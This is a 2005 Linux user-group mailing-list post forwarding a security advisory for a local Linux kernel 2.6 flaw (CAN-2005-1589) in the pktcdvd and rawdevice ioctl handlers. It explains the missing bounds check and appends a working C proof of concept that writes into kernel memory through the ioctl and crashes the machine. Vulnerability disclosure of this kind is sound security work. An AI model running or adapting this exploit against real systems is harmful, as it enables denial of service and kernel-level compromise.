[LUG.ro] Linux kernel pktcdvd and rawdevice ioctl break user space limit vulnerability

Sebastián D. Criado lugro@lugro.org.ar
Wed, 18 May 2005 12:42:07 -0300


--nextPart2957770.ImjGSdbStT
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline



Les paso un bug muy interesante que salio hace 2 d=EDas.

Synopsis:  Linux kernel pktcdvd and rawdevice ioctl break user space=20
                                                limit vulnerability
Product:   Linux kernel
Version:   2.6 up to and including 2.6.12-rc4
Vendor:    http://www.kernel.org/
URL:      =20
CVE:       CAN-2005-1589
Severity:  local(7)
Date:      May 16, 2005


Issue:
=3D=3D=3D=3D=3D=3D

Two locally exploitable flaws have been found in the Linux rawdevice and=20
pktcdvd block device ioctl handler that allows local users to gain root=20
privileges and also execute arbitrary code at kernel privilege level.


Details:
=3D=3D=3D=3D=3D=3D=3D=3D

The Linux kernel contains pktcdvd and rawdevice block device components.=20
Due to the missing check Pktcdvd and rawdevice ioctl handler parameter,
the process can break user space limit and  execute arbitrary code at=20
kernel privilege level.


Discussion:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The vulnerable  code  resides  in  drivers/block/pktcdvd.c  in  your =20
preferable version of the Linux kernel source code tree:

static int pkt_ioctl(struct inode *inode, struct file *file, unsigned=20
                                        int cmd, unsigned long arg)
{
        struct pktcdvd_device *pd =3D inode->i_bdev->bd_disk->private_data;

        VPRINTK("pkt_ioctl: cmd %x, dev %d:%d\n", cmd, imajor(inode),=20
                                                        iminor(inode));
        BUG_ON(!pd);

        switch (cmd) {
        /*
         * forward selected CDROM ioctls to CD-ROM, for UDF
         */
        case CDROMMULTISESSION:
        case CDROMREADTOCENTRY:
        case CDROM_LAST_WRITTEN:
        case CDROM_SEND_PACKET:
        case SCSI_IOCTL_SEND_COMMAND:
[*]             return ioctl_by_bdev(pd->bdev, cmd, arg);

        case CDROMEJECT:
                /*
                 * The door gets locked when the device is opened, so we
                 * have to unlock it or else the eject command fails.
                 */
                pkt_lock_door(pd, 0);
[*]             return ioctl_by_bdev(pd->bdev, cmd, arg);

        default:

As can be seen from [*] the arg variable supplied to  the  ioctl_by_bdev()
function  is not checked and user can input arg > TASK_SIZE value.


fs/block_dev.c
int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long ar=
g)
{
        int res;
        mm_segment_t old_fs =3D get_fs();
[**]    set_fs(KERNEL_DS);
        res =3D blkdev_ioctl(bdev->bd_inode, NULL, cmd, arg);
        set_fs(old_fs);
        return res;
}

However, for also support kernel space parameters ,ioctl_by_bdev() call [**=
]=20
set_fs(KERNEL_DS) to access parameters in kernel space . So if=20
ioctl_by_bdev() parameter arg > TASK_SIZE,the process can break user space=
=20
limit and rewrite kernel space data. Local user can execute arbitrary code=
=20
at kernel privilege level.

This exploit require user can read the block device.


Rawdevice is similar above

drivers/char/raw.c
static int
raw_ioctl(struct inode *inode, struct file *filp,
                  unsigned int command, unsigned long arg)
{
        struct block_device *bdev =3D filp->private_data;

[*]     return ioctl_by_bdev(bdev, command, arg);
}



CREDIT:
=3D=3D=3D=3D=3D=3D=3D=3D

alert7 ( wangwei@ssr.cn , alert7@xfocus.org )  discovery this vulnerability
Special thanks to ssr and xfocus guys:P



DISCLAIMER:
=3D=3D=3D=3D=3D=3D=3D=3D
The information in this bulletin is provided "AS IS" without warranty of any
kind. In no event shall we be liable for any damages whatsoever including=20
direct,
indirect, incidental, consequential, loss of business profits or special=20
damages.=20

ZHONGHANGJIAXIN INFORMATION TECHNOLOGY CO.,LTD (http://www.ssr.cn)
Copyright 2003-2005 ZHONGHANGJIAXIN. All Rights Reserved. Terms of use.

Security
Trusted {Solution} Provider
Service


Appendix:
=3D=3D=3D=3D=3D=3D=3D=3D=3D

/*  pktcdvd_dos.c proof-of-concept=20
 *  This is only a lame POC which will crash the machine, no root shell her=
e.
 *                      --- alert7
 *                              2005-5-15
 *  the vulnerability in 2.6 up to and including 2.6.12-rc4
 *
 *  gcc -o pktcdvd_dos pktcdvd_dos.c
 *
 *  NOTE: require user can read pktcdvd block device=20

 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS =
IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,=20
MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <paths.h>
#include <grp.h>
#include <setjmp.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ucontext.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <asm/page.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/sysctl.h>
#include <linux/cdrom.h>

#define __NR_sys_ioctl          __NR_ioctl


#define PKTCDVDDEVICE "/dev/hdc"

static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg=
);

struct idtr {
        unsigned short  limit;
        unsigned int    base;
} __attribute__ ((packed));

unsigned int get_addr_idt() {
        struct idtr idtr;
        asm("sidt %0" : "=3Dm" (idtr));
        return idtr.base;
}
struct desc_struct {
        unsigned long a,b;
};
int main(int argc,char **argv)
{
        unsigned int ptr_idt;
        int iret ;
        int fd;

        printf("[++]user stack addr  %p \n",&ptr_idt);
        if ( ( (unsigned long )&ptr_idt >>24)=3D=3D0xfe){
                 printf("[--]this kernel patched 4g/4g patch,no vulnerabili=
ty!
\n");
                 return -1;
        }

        ptr_idt=3Dget_addr_idt();
        printf("[++]IDT Addr %p \n",ptr_idt);


        fd =3D open(PKTCDVDDEVICE,O_RDONLY);
        if (fd =3D=3D-1)
        {
                        printf("[--]");
            fflush(stdout);
                        perror("open");
            return -1;
        }
               =20
        unsigned long WriteTo ;

       if ( (ptr_idt>>24)=3D=3D0xc0){
            printf("[++]this OS in Real Linux\n");
                        WriteTo=3D ptr_idt;
           }else{
            printf("[++]this OS maybe in VMWARE\n");
                        WriteTo =3D 0xc0100000;
        }

        printf("[++]call sys_ioctl will crash machine\n");
        fflush(stdout);
               =20
        int loopi;
        for (loopi=3D0;loopi<0x100000 ;loopi++ )
        {
                printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
                fflush(stdout);        =20
                iret =3D sys_ioctl(fd,
                                 CDROM_LAST_WRITTEN,
                                 WriteTo+loopi*4);
                if (iret =3D=3D-1)
                {
                        printf("[--]");
                        fflush(stdout);
                        perror("ioctl");
                        //if in VMWARE ,rewrite ptr_idt adress will failed
                        printf("[--]still aliving\n");
                        close(fd);
                        return -1;
                }
        }
        close(fd);

        return 0;
}
=2D-=20

Sebasti=E1n D. Criado - scriado{en}ciudad.com.ar
L.U.G.R.o - http://www.lugro.org.ar
GNU/Linux Registered User # 146768
=2D------------------------------------------------------------------
"Si el Universo fuera un programa estar=EDa hecho en C, y correr=EDa sobre
un sistema UNIX"
                                                   An=F3nimo.

		=09

--nextPart2957770.ImjGSdbStT
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCi2Ja8hmHQ8ZCg0IRAsqhAJ4thB8NOrWGXklajVpkvP+kMj2tsQCff/KW
0btEOztMANpvQ5zpNwRaBYA=
=+ThE
-----END PGP SIGNATURE-----

--nextPart2957770.ImjGSdbStT--